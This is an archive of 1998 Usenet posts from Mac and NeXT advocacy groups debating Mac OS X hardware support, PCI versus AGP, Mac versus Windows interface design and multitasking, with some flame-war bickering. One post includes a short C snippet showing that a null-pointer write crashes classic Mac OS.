Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 16:54:45 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com>
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On Mon, 27 Jul 1998, Michael M. Eilers wrote:
> In article <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > I think Apple needs to get on the AGP bandwagon soon or it will be very
> > left behind. PCI is starting to be a real limitation. The available
> > bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI would be
> > fine except that there are already a bunch of good AGP cards out there now
> > with even better ones coming through the pipeline.
>
> What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus in
> my PowerCenter Pro and it drives PCI cards noticeably faster than the 50
> MHz bus in my 7500.
You misunderstand what's going on here.
The PCI bus on all Macs (and basically all PCs) is 33MHz and 32bits wide.
You are talking about motherboard bus speeds. This is the speed at which
the processor accesses memory and the PCI controller. No matter the memory
bus speeds, the PCI bus is always going to be 33MHz (or right around
there... some machines have that as a multiple of the memory bus speeds so
that sometimes it's 31MHz or 35Mhz).
What happens on your PowerCenter Pro is 3 things.
1) The PCP has an accelerated graphics controller on PCI (32bit 33MHz).
The 7500 has an unaccelerated graphics solution with a 64bit 50Mhz path
from processor to VRAM.
2) The 7500 has a slower processor (unless you've upgraded it recently).
3) The PCP has a faster memory bus. (60Mhz vs. 50MHz)
While the 7500 has a much wider and faster path directly to VRAM, the PCP
has a graphics accelerator. That means that the processor must do all the
work on the 7500 whereas the dedicated graphics chip does some of the work
on the PCP. This results in a trade off. The 7500 will be faster for
things that are bandwidth limited. The PCP will be faster for things that
can be done off the main processor and on the graphics chip.
Since the 7500 has a slower processor to start with, it can't do the
graphics calculations as fast as the PCP can when things aren't
accelerated.
Since the 7500 has a slower memory bus, the use of RAM for graphics
related things just takes more time than the PCP
An 80MHz or 110MHz PCI bus would be cool, but it's not going to happen for
quite a while I suspect. AGP has much higher (than PCI) bandwidth. AGP
allows for things like using main memory for texture buffers and such
which crawls slowly over PCI.
> There was an interesting editorial on some Mac advocacy page a while back
> (cna't remember the souce--was it MacKiDo?) which said that Apple should
> licence both OpenGL and DirectX (Direct3D) and put them in OS X, along
> with AG sypport. This would make games for the PC much easier to port and
> allow Mac users to tap the lot cost/high-competition world of PC graphics
> cards without having to wait for a company to write the drivers.
Well, it would mean Apple would have to write the drivers. Someone does.
If the 3rd company doesn't then Apple will have to.
> Hmmm, AGP, FireWire, USB, 100 MB Ethernet--upgrading the chassis instead
> of the daughtercard is beginning to seem pretty compelling! Looks like
> there will be more reasons to upgrade your system in the future than just
> speed...
Except that I'm not sure I give a damn about USB, Firewire, and 100MB/s
Ethernet. I'd pay for AGP assuming PC AGP cards would work, but the other
things are not compelling enough by themselves for me to buy a new machine
simply to get.
> > If Apple writes support for the stock 8600s and 9600s (and all the
> > motherboards that are basically the same as the ones in those machines)
> > then there is no extra work for G3 upgrade cards to work.
>
> Yes, but a lot of those G3 upgrades are in clone machines, which have the
> 7200 (Tsunami) motherboard, and there are even G3 upgrades for
> 6100/7100/8100 machines and 6400 Performas. See the slippery slope?
No. The 7200 motherboard is Catalyst. Many of the clones were based on
that. The 6100/7100/8100 are NuBus machines and almost certainly won't be
supported even with Rhapsody. In fact Rhapsody on 7200s is iffy I suspect.
Apple does not have to support machines that are G3 upgradeable. I am
saying that Apple should support the same breadth of hardware as Rhapsody.
Rhapsody's support is limited enough as it is.
> Once
> Apple supports one of these old motherboards, what excuse do they have for
> not supporting them all?
Because NuBus support would take more work than first generation PCI
support since the motherboard architecture is far more different than
the pre-G3 PCI and G3 PCI architecture is.
> > It is a non-trivial job, but it is very far from an impossible task. What
> > Apple has already done since buying NeXT seems much more ambitious to me
> > than what they are planning for the next year or so. Granted Apple isn't
> > as big as it was, but it is also not in the same turmoil that it was last
> > year.
>
> I don't know enough about the nuts-and-bolts mechanics of writing an OS to
> work on a specific motherboard to comment on this, but I'll just repeat a
> comment I have made before: Apple did not make the decision to make OS X
> G3-only lightly. They know their own hardware and software better than
> anyone, and they know their internal economics and politics better than
> anyone. If they made the decision, they were the best-infomred people on
> the subject possible, so I'm not sure the peanut gallery (meaning us,
> Usenet) can really call it all into question so easily.
Politics is not an acceptable reason to drop support for these machines. A
solid technical reason would be, but "because so and so made it, but I
didn't" will not do.
> > Apple could take just a few million dollars out of its profits (even that
> > is probably a huge overestimate) and support these machines. Assuming the
> > rest of Mac OS X stays close to schedule, the extra time should not be
> > very significant (a few months) and as I said before, a lot of it can be
> > done in parallel.
>
> Possibly. But I don't think any of us here knows enough to say this for
> certain either way.
I believe the statement is largely true, but is conditional on Mac OS X
staying on schedule. If it doesn't stay on schedule, then it would be a
good idea to postpone support for older machines if Apple decides to at
all.
> > > It may have to do with the level of tech support
> > > Apple wants to give, or with Jobs' politics, or with a simple wish for a
> > > clean slate.
> >
> > I would not forgive the "Job's politics" reason.
>
> Well, you really wouldn't have a choice. I know that the level of
> animosity towards Jobs is high on this group, and I'm no abject worshipper
> myself, but he did rescue Apple for us. Remember, under Amelio Apple bled
> money three quarters in a row, and the stock price bottomed out beyond
> belief (12! 12 was the low, dammit! And now it is 36!). Love him or hate
> him, we all better learn to respect him, because without him Apple simply
> would not exist today. If you decided to give up the platform to spite
> Jobs, you would be biting the hand that just pulled you from ice-cold
> Arctic waters of doom.
Umm... I owe absolutely no loyalty to Jobs or any other Apple CEO. In
fact, I feel precisely zero loyalty to Apple. My loyalty goes to the
Macintosh. Unfortunately because Apple and the Macintosh are so
intertwined, Apple can make me disloyal to the Mac. It will not be a hard
decision for me since I teeter on the edge anyway with all the bullshit
Apple has produced.
> > I'd be bothered by the "clean slate" and the "level of tech support"
> > reasons.
>
> Then don't buy BeOS! ;-)
Well, duh. ;)
Actually, I do have Be OS PR2 installed. It's kinda neat, but I don't find
it compelling.
> > If high end users _choose_ to buy shiny new hardware to do it, that's
> > fine. I don't think the kind of encouragement Apple will be doing is going
> > to make many of these people smile while going along with it. Some will
> > leave the platform _because_ of this.
>
> But Apple is betting that the high-end users won't need G3-only OS X to
> "encourage" them--they will already be moving to G3/G4 high-end chassis in
> 1999 and 2000. By then the hardware will be so compelling (Firewire! 100
> MB Ethernet! SCSI III! Possibly AGP! USB! 110 MHz busses!) that even a 400
> MHz G3-upgraded 9600 will seem a junker.
Perhaps. We'll just have to see on that though.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 21:52:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pisq8$jtg$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com>
In article <6pim7q$6sg$1@supernews.com>,
"Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU> wrote:
> Vs. under Win95, where even though you might swich apps while one is
> loading, the app that is being launched, and not the user, can decide to
> take the focus back.
Very true. The feature that Windows 95 has and the Mac OS lacks completely is
poorly implemented.
> Under just about every OS out there, writing to the null address causes a
> crash *of the application*. The MacOS is no different in this respect.
Try this code:
#include "string.h"
void main( void )
{
strcpy( (char *) 0, "Today is a good day to die!" );
}
This crashes my Mac but only causes the program to fail in Windows 95.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 17:03:34 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727170056.19424B-100000@ux7.cso.uiuc.edu>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <joe.ragosta-2707981614150001@wil75.dol.net>
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On Mon, 27 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Yes. This is one of my complaints about the Mac menubar. On larger
> > screens, it's quite a trip up to the menu bar and back.
>
> Absolutely. And that explains why so many third party utilities have been
> developed to help out.
Ummm... like what?
> And why Mac OS 8 includes contextual menus to help
> save trips to the menu bar.
Context sensitive menus do tend to help out, but do not solve the problem
entirely.
> Notice that Mac OS 8 came out about the time that 17" monitors started
> replacing 15" monitors in large numbers.
Oh pfft. The Macintosh has been used by graphics professionals for years.
These people have had 19 and 21" monitors. For many years Apple didn't
address this problem for a group that Apple has always been proud to have
as an asset.
> My favorite solution is still my trusty Kensington Turbo Mouse which
> offers 3 customizable popup menus and a regular mouse button.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 17:07:41 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com>
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On 27 Jul 1998 gupta@kcopsrm.tm.tta.moc-mirror wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> >
> >Windows has the taskbar. While this isn't perfect, it is much more useful
> >than the Macintosh application menu. It presents an obvious way to
> >switch between applications and provides clear indication of what is
> >currently running. Each window in Windows has an icon and usually an
> >applicaiton name that associates that window with a particular
> >application.
>
> Closing all the windows of an application in Windows makes the application
> go away. The taskbar shows only the set of windows, and doesn't solve
> the problem.
It does to solve the problem since it provides the user a clear indication
of what is running. If you close all Netscape Windows, the program is no
longer running in Windows whereas if you close all the Netscape windows on
the Mac OS, the program is _still_ running. There is also an obvious
indication that a program is still running since it gets a button on the
task bar. You have to manually check the application menu on the Mac OS to
see what's running.
The taskbar is not perfect, but it does a better job than the Mac OS
Application Menu.
Ryan Tokarek~
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: swhite@medicine.bsd.uchicago.edu (Steve White)
Subject: Re: Not a troll, please explain
Message-ID: <swhite-2707981735150001@pulm-mac2.bsd.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu> <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net> <swhite-2707980932550001@pulm-mac2.bsd.uchicago.edu> <macghod-2707981139130001@sdn-ar-001casbarp259.dialsprint.net>
Date: Mon, 27 Jul 1998 22:35:15 GMT
In article <macghod-2707981139130001@sdn-ar-001casbarp259.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Not only did I read what it said, I pasted exactly what it said!
> SInce you have no intention of polite discussion, and will only resort to
> libelous lies, please do not reply to my posts. I take the time to
> clearly document where I get the info from, and even pasted all the info
> that was given that I was replying in regards to, and yet you have to
> resort to lies.
I see, not only are you a troll, you're a WHINY troll.
If you had read the report as written and had done 5 seconds of research,
you'd have figured out what MacOS Rumors was saying about the PCData
report. You didn't, and now you're trying to justify yourself.
As to lies: I pointed you in the right direction. You're the one who is
confused (at a minimum). And I'll reply to you whenever I damned well feel
like it.
Remember: when you do a pratfall on stage, just get up and get on with the
play. The audience doesn't want to hear you try to explain it away.
steve
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 18:07:45 -0500
Organization: Prairie Group
Message-ID: <MPG.1026c4389a7ccdea989a2b@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com>
In article <6pi4m3$42a$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> Not that he "thought that John means X" but outright that "John said X" when
> I didn't. It is extremely wrong of him, IMO, to misrepresent what I said
> (especially when I outright didn't say any such thing). He does so because
> he doesn't like me, which is more than understandable, but still is
> unacceptable (not not liking me, which is fine, but rather misrepresenting
> others is not acceptable).
>
Check the quote, John. It was "IIRC, John said", IIRC meaning If I
Recall Correctly. When Joe found he was wrong, he retracted it, and
apologized.
Saying "he does so because he doesn't like me" is a small leap to
conclusions. Like the Grand Canyon is a small gap.
When you two are fighting issues, it's usually interesting to read. When
you two are fighting over your fighting, it's annoying and wastes
bandwidth and most of all is boring.
OK, both of you, shake hands and come out boxing.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 18:10:48 -0500
Organization: Prairie Group
Message-ID: <MPG.1026c4f284b72c45989a2c@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net>
In article <joe.ragosta-2707981154130001@wil50.dol.net>,
joe.ragosta@dol.net says...
> > If Joe was simply exasperating in this instance, well I still might have said
> > something nasty because I'm that silly and daft. But what got me was on
> > occasion he made assertions that I did in fact say something that I didn't.
> > Not that he "thought that John means X" but outright that "John said X" when
> > I didn't. It is extremely wrong of him, IMO, to misrepresent what I said
> > (especially when I outright didn't say any such thing). He does so because
> > he doesn't like me, which is more than understandable, but still is
> > unacceptable (not not liking me, which is fine, but rather misrepresenting
> > others is not acceptable).
>
> WHAT I SAID was "IIRC, John Kheit said...". IIRC means that I wasn't sure.
> When you said it wasn't you, I apologized and withdrew the statement.
>
> Hardly worth your threats to sue me--not once, but twice.
>
Yes. Nor are these sort of threats worth all the fuss. How many threats
to sue have you seen on csma? How many actually got carried through?
You made a mistake. He acted like a jerk. You both are treating the
other's misdeeds as capital offenses. Lighten up, dudes!
Donald
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Mon, 27 Jul 1998 18:13:40 -0500
Organization: Ericsson Inc.
Message-ID: <35BD09A4.CEA022DE@exu.ericsson.se>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu> <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net> <swhite-2707980932550001@pulm-mac2.bsd.uchicago.edu> <macghod-2707981139130001@sdn-ar-001casbarp259.dialsprint.net> <swhite-2707981735150001@pulm-mac2.bsd.uchicago.edu>
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Steve White wrote:
> Remember: when you do a pratfall on stage, just get up and get on with the
> play. The audience doesn't want to hear you try to explain it away.
Only if you think the whole world is a stage and its inhabitants are
acting for your benefit. That attitude certainly fits you.
MJP
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 15:44:34 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2707981544340001@news>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <id_est-2507980154590001@192.168.1.3> <Pine.SOL.3.96.980725230030.7987C-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980725230030.7987C-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Sat, 25 Jul 1998, tse_di wrote:
>
> > In article <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > Not being able to drag something under the menu bar is a little annoying
> > > too.
Right. It's a minor, slightly annoying behavior. A major revision is not
necessary, but a minor fix would be nice.
> > > No quick way to get to higher level folders in the heirarchy if their
> > > windows have been closed. (Yeah. I know command-click on the title...
> > > that's not good enough).
What would you recommend?
> > > The configurations for TCP and PPP are in two separate Control Panels.
I think this is already in 8.5 as well.
Andy Bates.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: 27 Jul 1998 23:20:16 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pj1vg$em5$1@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
<Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com>
<not-2707981346370001@ip-26-031.phx.primenet.com>
Michael M. Eilers <not@a.valid.email.add> wrote:
: Actually, I was planning on suing John for exessive and nonsensical use of
: the word "orthoganal" (which, for those not blessed with a Websters,
: simply means right-angled).
Try the word "orthogonal" in a computer science dictionary. There's one
on-line at:
http://wombat.doc.ic.ac.uk/foldoc/index.html
John
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 18:37:12 -0500
Organization: Prairie Group
Message-ID: <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com>
In article <6phc10$ibo$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
says...
> In article <MPG.1024148b9fd31ab8989a01@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Because, in real life use, the effect on the user's ability to get his
> > work done, is about as good for both MacOS and Win95. If there's a
> > difference, the Win95 will probably be on top (I only say probably so I
> > can weasel out if someone finds an exception). But, when those
> > differences are perceivable to the user, the perceptible difference will
> > be far less than the perceptible difference in quality of the UI and
> > other design aspects.
>
> But we where talking about multitasking. Myself, I find the total Windows 95
> experience to be as good as the Mac OS experience but I can easily see how
> someone might disagree.
Different strokes and all that. The question isn't "which is better",
but "how significant is the difference". For most people, almost all of
the time, the difference is not significant.
Donald
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 27 Jul 1998 23:43:14 GMT
Organization: San Diego State University
Message-ID: <6pj3ai$ji8$1@hole.sdsu.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <6pj1vg$em5$1@nnrp03.primenet.com>
John Jensen (jjens@primenet.com) wrote:
: Try the word "orthogonal" in a computer science dictionary.
Or better, in a good mathematics textbook. (Whence do you think
originated what little "science" there exists in "computer science"?)
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: 28 Jul 1998 00:02:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pj4fb$4sf$1@nnrp02.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
<6pj1vg$em5$1@nnrp03.primenet.com> <6pj3ai$ji8$1@hole.sdsu.edu>
tomlinson <etomlins@rohan.sdsu.edu> wrote:
: John Jensen (jjens@primenet.com) wrote:
: : Try the word "orthogonal" in a computer science dictionary.
: Or better, in a good mathematics textbook. (Whence do you think
: originated what little "science" there exists in "computer science"?)
The online dictionary I mentioned had the advantage of describing the
mathematical origin and the derived application to computer science.
Should we quote the "science" when it follows "computer"?
An amusing question. I would say that computer programming is first a
question of craftmanship, then one of engineering, and occasionally one of
science. It may seem strange to put craftmanship before engineering, but
lately I've seen more programs ruined by bad craftmanship and inattention
to detail than to larger issues of engineering.
John
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 13:46:37 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-2707981346370001@ip-26-031.phx.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <35BCC8AE.81F49DF0@starvision.com>, Brian Oberquell
<boberque@starvision.com> wrote:
> 1) Howzabout everyone look up the difference between "slander" and
"libel"? Hint:
> one is written, the other is verbal.
I wanted to mention this one. Drat, you got to it first.
But is Usenet "written" or "printed" in any sense? Or is it public enough
to count as defamation? And how many people have to have seen the
missattributed statements in question to cause harm to John? Very
interesting.
> 2) Please learn the difference between "your" and "you're". I find it hard to
> take people seriously when they miss a basic concept like this. Another one to
> watch out for (though I haven't seen it come up lately) is "its" and "it's".
Well, "its" and "it's" can be forgiven, because it is quite easy to create
by means of overenthusiastic typing (and, from the tone of many of the
posts on this thread, there is a lot of that going on.) Nitpicking about
typos on Usenet is (or at least has been in the past) taboo stuff, and
I've yet to see a kingdom won or lost due to a misplaced possessive.
> 3) If someone makes an erroneous statement, try giving them the benefit of the
> doubt and informing them of the error of their ways, thus giving them a
chance to
> apologize and make a retraction? Then, should they fail to do so, cry
Havoc! and
> let slip the lawyers... :-)
Actually, I was planning on suing John for exessive and nonsensical use of
the word "orthoganal" (which, for those not blessed with a Websters,
simply means right-angled). I'd really love to see a libel on Usenet case
tried in court (and, by default, in the media), especially one with a
journalist involved (no, Drudge does *not* count in this regard.) I think
this would be amusing simply for the entertainment value of a judge and a
team of prosecutors trying to find a pool of jurors who have even the
vaguest idea of what Usenet (or the internet, or e-mail, or libel, or
anything not discussed recently on a talk show) is all about.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 12:55:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2707981255140001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news> <6pajhr$nj6$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6pajhr$nj6$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
>
